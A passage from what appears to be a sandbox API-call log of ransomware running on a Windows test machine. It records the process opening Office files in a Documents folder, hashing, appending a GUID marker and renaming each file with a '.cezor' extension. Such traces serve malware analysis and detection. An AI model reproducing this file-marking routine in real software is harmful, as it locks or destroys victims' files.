ftCreationTime.dwLowDateTime=0xcfa28680, ftCreationTime.dwHighDateTime=0x1d4c608, ftLastAccessTime.dwLowDateTime=0xd15c76d0, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0xd15c76d0, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x99fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 YiCSGLLTlIDeQ.doc", cAlternateFileName="2YICSG~1.DOC")) returned 1 [0060.000] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2 YiCSGLLTlIDeQ.doc") returned=".doc" [0060.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2 YiCSGLLTlIDeQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2 yicsglltlideq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.000] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=39421) returned 1 [0060.000] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.002] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x99d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.002] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.003] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x99fd, lpOverlapped=0x0) returned 1 [0060.003] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.003] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.003] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.003] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.004] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.004] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.004] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.004] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.004] GetLastError () returned 0x0 [0060.004] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.004] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.005] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x99fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.005] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.005] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.005] CloseHandle (hObject=0x5c4) returned 1 [0060.006] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2 YiCSGLLTlIDeQ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2 yicsglltlideq.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2 YiCSGLLTlIDeQ.doc.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2 yicsglltlideq.doc.cezor")) returned 1 [0060.007] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f3c7940, ftCreationTime.dwHighDateTime=0x1d4d14e, ftLastAccessTime.dwLowDateTime=0xc3d66d90, ftLastAccessTime.dwHighDateTime=0x1d4c620, ftLastWriteTime.dwLowDateTime=0xc3d66d90, ftLastWriteTime.dwHighDateTime=0x1d4c620, nFileSizeHigh=0x0, nFileSizeLow=0x18192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3fgk.pps", cAlternateFileName="")) returned 1 [0060.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3fgk.pps") returned=".pps" [0060.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3fgk.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3fgk.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.007] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=98706) returned 1 [0060.007] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.010] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1816c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.010] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.011] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x18192, lpOverlapped=0x0) returned 1 [0060.011] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.011] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.011] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.011] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.012] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.012] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.012] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.012] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.012] GetLastError () returned 0x0 [0060.012] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.012] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.013] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18192, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.013] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.013] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.013] CloseHandle (hObject=0x5c4) returned 1 [0060.015] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3fgk.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3fgk.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3fgk.pps.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3fgk.pps.cezor")) returned 1 [0060.016] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7919730, ftCreationTime.dwHighDateTime=0x1d4d7ef, ftLastAccessTime.dwLowDateTime=0xc9be4e60, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0xc9be4e60, ftLastWriteTime.dwHighDateTime=0x1d4c62c, nFileSizeHigh=0x0, nFileSizeLow=0x18773, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3kKQ7nGkbpOOq-1 5zRt.pptx", cAlternateFileName="3KKQ7N~1.PPT")) returned 1 [0060.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kKQ7nGkbpOOq-1 5zRt.pptx") returned=".pptx" [0060.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kKQ7nGkbpOOq-1 5zRt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kkq7ngkbpooq-1 5zrt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.016] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=100211) returned 1 [0060.016] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.028] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1874d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.028] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.028] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x18773, lpOverlapped=0x0) returned 1 [0060.029] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.029] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.029] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.029] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.030] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.030] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.030] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.030] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.030] GetLastError () returned 0x0 [0060.030] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.030] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.031] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18773, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.031] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.031] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.031] CloseHandle (hObject=0x5c4) returned 1 [0060.032] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kKQ7nGkbpOOq-1 5zRt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kkq7ngkbpooq-1 5zrt.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kKQ7nGkbpOOq-1 5zRt.pptx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kkq7ngkbpooq-1 5zrt.pptx.cezor")) returned 1 [0060.034] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8738f0, ftCreationTime.dwHighDateTime=0x1d4d6ab, ftLastAccessTime.dwLowDateTime=0xfac408f0, ftLastAccessTime.dwHighDateTime=0x1d4b566, ftLastWriteTime.dwLowDateTime=0xfac408f0, ftLastWriteTime.dwHighDateTime=0x1d4b566, nFileSizeHigh=0x0, nFileSizeLow=0x172eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="45LEiyxnf Plrmb.docx", cAlternateFileName="45LEIY~1.DOC")) returned 1 [0060.034] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45LEiyxnf Plrmb.docx") returned=".docx" [0060.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45LEiyxnf Plrmb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45leiyxnf plrmb.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.034] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=94955) returned 1 [0060.034] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.037] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x172c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.037] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.037] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x172eb, lpOverlapped=0x0) returned 1 [0060.038] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.038] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.038] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.038] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.039] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.039] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.039] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.039] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.039] GetLastError () returned 0x0 [0060.039] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.039] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.040] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x172eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.040] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.040] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.040] CloseHandle (hObject=0x5c4) returned 1 [0060.041] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45LEiyxnf Plrmb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45leiyxnf plrmb.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\45LEiyxnf Plrmb.docx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\45leiyxnf plrmb.docx.cezor")) returned 1 [0060.042] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ca8cd0, ftCreationTime.dwHighDateTime=0x1d4b696, ftLastAccessTime.dwLowDateTime=0xc4b1de0, ftLastAccessTime.dwHighDateTime=0x1d53521, ftLastWriteTime.dwLowDateTime=0xc4b1de0, ftLastWriteTime.dwHighDateTime=0x1d53521, nFileSizeHigh=0x0, nFileSizeLow=0x168cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Jnu XQUnVKH6.xlsx", cAlternateFileName="5JNUXQ~1.XLS")) returned 1 [0060.042] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5Jnu XQUnVKH6.xlsx") returned=".xlsx" [0060.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5Jnu XQUnVKH6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5jnu xqunvkh6.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.043] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=92367) returned 1 [0060.043] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.045] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x168a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.045] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.046] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x168cf, lpOverlapped=0x0) returned 1 [0060.046] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.046] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.046] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.046] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.047] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.047] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.047] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.047] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.047] GetLastError () returned 0x0 [0060.047] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.047] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.048] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x168cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.048] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.048] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.048] CloseHandle (hObject=0x5c4) returned 1 [0060.049] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5Jnu XQUnVKH6.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5jnu xqunvkh6.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5Jnu XQUnVKH6.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5jnu xqunvkh6.xlsx.cezor")) returned 1 [0060.051] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2233870, ftCreationTime.dwHighDateTime=0x1d4d364, ftLastAccessTime.dwLowDateTime=0xd5df3c70, ftLastAccessTime.dwHighDateTime=0x1d4cb56, ftLastWriteTime.dwLowDateTime=0xd5df3c70, ftLastWriteTime.dwHighDateTime=0x1d4cb56, nFileSizeHigh=0x0, nFileSizeLow=0x3603, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5W-053pafC.pps", cAlternateFileName="5W-053~1.PPS")) returned 1 [0060.051] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5W-053pafC.pps") returned=".pps" [0060.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5W-053pafC.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5w-053pafc.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.051] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=13827) returned 1 [0060.051] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.053] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x35dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.053] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.054] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x3603, lpOverlapped=0x0) returned 1 [0060.054] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.054] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.054] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.054] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.055] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.055] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.055] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.055] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.055] GetLastError () returned 0x0 [0060.055] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.055] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.055] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3603, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.055] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.055] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.056] CloseHandle (hObject=0x5c4) returned 1 [0060.056] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5W-053pafC.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5w-053pafc.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5W-053pafC.pps.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5w-053pafc.pps.cezor")) returned 1 [0060.057] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x426277c0, ftCreationTime.dwHighDateTime=0x1d4f0c5, ftLastAccessTime.dwLowDateTime=0x77add790, ftLastAccessTime.dwHighDateTime=0x1d51b21, ftLastWriteTime.dwLowDateTime=0x77add790, ftLastWriteTime.dwHighDateTime=0x1d51b21, nFileSizeHigh=0x0, nFileSizeLow=0xd080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AGokm2hLuNsPkZ.pptx", cAlternateFileName="AGOKM2~1.PPT")) returned 1 [0060.058] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AGokm2hLuNsPkZ.pptx") returned=".pptx" [0060.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AGokm2hLuNsPkZ.pptx" (normalized: "c:\\users\\5p5nrgjn0js 